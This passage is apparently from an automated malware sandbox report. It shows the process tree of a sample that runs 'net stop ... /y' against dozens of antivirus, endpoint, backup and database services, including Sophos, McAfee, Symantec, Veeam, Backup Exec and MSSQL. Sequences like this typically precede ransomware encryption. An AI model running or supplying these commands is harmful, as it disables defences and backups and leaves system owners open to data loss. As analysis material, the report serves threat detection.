C:\Windows\SysWOW64\net.exenet stop "Sophos Agent" /y3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Sophos Agent" /y4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\net.exenet stop "Sophos AutoUpdate Service" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Sophos AutoUpdate Service" /y4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\net.exenet stop "Sophos Clean Service" /y3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Sophos Clean Service" /y4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\net.exenet stop "Sophos Device Control Service" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Sophos Device Control Service" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "Sophos File Scanner Service" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Sophos File Scanner Service" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "Sophos Health Service" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Sophos Health Service" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "Sophos MCS Agent" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Sophos MCS Agent" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "Sophos MCS Client" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Sophos MCS Client" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "Sophos Message Router" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Sophos Message Router" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "Sophos Safestore Service" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Sophos Safestore Service" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "Sophos System Protection Service" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Sophos System Protection Service" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "Sophos Web Control Service" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Sophos Web Control Service" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLsafe Backup Service" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLsafe Backup Service" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLsafe Filter Service" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLsafe Filter Service" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "Symantec System Recovery" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Symantec System Recovery" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "Veeam Backup Catalog Data Service" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Veeam Backup Catalog Data Service" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "AcronisAgent" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "AcronisAgent" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "AcrSch2Svc" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "AcrSch2Svc" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "Antivirus" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Antivirus" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "ARSM" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "ARSM" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "BackupExecAgentAccelerator" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "BackupExecAgentAccelerator" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "BackupExecAgentBrowser" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "BackupExecAgentBrowser" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "BackupExecDeviceMediaService" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "BackupExecDeviceMediaService" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "BackupExecJobEngine" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "BackupExecJobEngine" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "BackupExecManagementService" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "BackupExecManagementService" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "BackupExecRPCService" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "BackupExecRPCService" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "BackupExecVSSProvider" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "BackupExecVSSProvider" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "bedbg" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "bedbg" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "DCAgent" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "DCAgent" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "EPSecurityService" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "EPSecurityService" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "EPUpdateService" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "EPUpdateService" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "EraserSvc11710" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "EraserSvc11710" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "EsgShKernel" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "EsgShKernel" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "FA_Scheduler" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "FA_Scheduler" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "IISAdmin" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "IISAdmin" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "IMAP4Svc" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "IMAP4Svc" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "macmnsvc" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "macmnsvc" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "masvc" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "masvc" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MBAMService" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MBAMService" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MBEndpointAgent" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MBEndpointAgent" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "McAfeeEngineService" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "McAfeeEngineService" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "McAfeeFramework" /y3⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "McAfeeFramework" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "McAfeeFrameworkMcAfeeFramework" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "McAfeeFrameworkMcAfeeFramework" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "McShield" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "McShield" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "McTaskManager" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "McTaskManager" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "mfemms" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "mfemms" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "mfevtp" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "mfevtp" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MMS" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MMS" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "mozyprobackup" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "mozyprobackup" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MsDtsServer" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MsDtsServer" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MsDtsServer100" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MsDtsServer100" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MsDtsServer110" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MsDtsServer110" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSExchangeES" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSExchangeES" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSExchangeIS" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSExchangeIS" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSExchangeMGMT" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSExchangeMGMT" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSExchangeMTA" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSExchangeMTA" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSExchangeSA" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSExchangeSA" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSExchangeSRS" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSExchangeSRS" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSOLAP$SQL_2008" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSOLAP$SQL_2008" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSOLAP$SYSTEM_BGC" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSOLAP$SYSTEM_BGC" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSOLAP$TPS" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSOLAP$TPS" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSOLAP$TPSAMA" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSOLAP$TPSAMA" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQL$BKUPEXEC" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$BKUPEXEC" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQL$ECWDB2" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$ECWDB2" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQL$PRACTICEMGT" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$PRACTICEMGT" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQL$PRACTTICEBGC" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$PRACTTICEBGC" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQL$PROFXENGAGEMENT" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$PROFXENGAGEMENT" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQL$SBSMONITORING" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$SBSMONITORING" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQL$SHAREPOINT" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$SHAREPOINT" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQL$SQL_2008" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$SQL_2008" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQL$SYSTEM_BGC" /y3⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$SYSTEM_BGC" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQL$TPS" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$TPS" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQL$TPSAMA" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$TPSAMA" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQL$VEEAMSQL2008R2" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$VEEAMSQL2008R2" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQL$VEEAMSQL2012" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$VEEAMSQL2012" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQLFDLauncher" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQLFDLauncher" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQLFDLauncher$PROFXENGAGEMENT" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQLFDLauncher$PROFXENGAGEMENT" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQLFDLauncher$SBSMONITORING" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQLFDLauncher$SBSMONITORING" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQLFDLauncher$SHAREPOINT" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQLFDLauncher$SHAREPOINT" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQLFDLauncher$SQL_2008" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQLFDLauncher$SQL_2008" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQLFDLauncher$SYSTEM_BGC" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQLFDLauncher$SYSTEM_BGC" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQLFDLauncher$TPS" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQLFDLauncher$TPS" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQLFDLauncher$TPSAMA" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQLFDLauncher$TPSAMA" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQLSERVER" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQLSERVER" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQLServerADHelper100" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQLServerADHelper100" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQLServerOLAPService" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQLServerOLAPService" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MySQL80" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MySQL80" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MySQL57" /y3⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MySQL57" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "ntrtscan" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "ntrtscan" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "OracleClientCache80" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "OracleClientCache80" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "PDVFSService" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "PDVFSService" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "POP3Svc" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "POP3Svc" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "ReportServer" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "ReportServer" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "ReportServer$SQL_2008" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "ReportServer$SQL_2008" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "ReportServer$SYSTEM_BGC" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "ReportServer$SYSTEM_BGC" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "ReportServer$TPS" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "ReportServer$TPS" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "ReportServer$TPSAMA" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "ReportServer$TPSAMA" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "RESvc" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "RESvc" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "sacsvr" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "sacsvr" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SamSs" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SamSs" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SAVAdminService" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SAVAdminService" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SAVService" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SAVService" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SDRSVC" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SDRSVC" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SepMasterService" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SepMasterService" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "ShMonitor" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "ShMonitor" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "Smcinst" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Smcinst" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SmcService" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SmcService" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SMTPSvc" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SMTPSvc" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SNAC" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SNAC" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SntpService" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SntpService" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "sophossps" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "sophossps" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$BKUPEXEC" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$BKUPEXEC" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$ECWDB2" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$ECWDB2" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$PRACTTICEBGC" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$PRACTTICEBGC" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$PRACTTICEMGT" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$PRACTTICEMGT" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$PROFXENGAGEMENT" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$PROFXENGAGEMENT" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$SBSMONITORING" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$SBSMONITORING" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$SHAREPOINT" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$SHAREPOINT" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$SQL_2008" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$SQL_2008" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$SYSTEM_BGC" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$SYSTEM_BGC" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$TPS" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$TPS" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$TPSAMA" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$TPSAMA" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$VEEAMSQL2008R2" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$VEEAMSQL2008R2" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$VEEAMSQL2012" /y3⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$VEEAMSQL2012" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLBrowser" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLBrowser" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLSafeOLRService" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLSafeOLRService" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLSERVERAGENT" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLSERVERAGENT" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLTELEMETRY" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLTELEMETRY" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLTELEMETRY$ECWDB2" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLTELEMETRY$ECWDB2" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLWriter" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLWriter" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SstpSvc" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SstpSvc" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "svcGenericHost" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "svcGenericHost" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "swi_filter" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "swi_filter" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "swi_service" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "swi_service" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "swi_update_64" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "swi_update_64" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "TmCCSF" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "TmCCSF" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "tmlisten" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "tmlisten" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "TrueKey" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "TrueKey" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "TrueKeyScheduler" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "TrueKeyScheduler" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "TrueKeyServiceHelper" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "TrueKeyServiceHelper" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "UI0Detect" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "UI0Detect" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "VeeamBackupSvc" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "VeeamBackupSvc" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "VeeamBrokerSvc" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "VeeamBrokerSvc" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "VeeamCatalogSvc" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "VeeamCatalogSvc" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "VeeamCloudSvc" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "VeeamCloudSvc" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "VeeamDeploymentService" /y3⤵
-
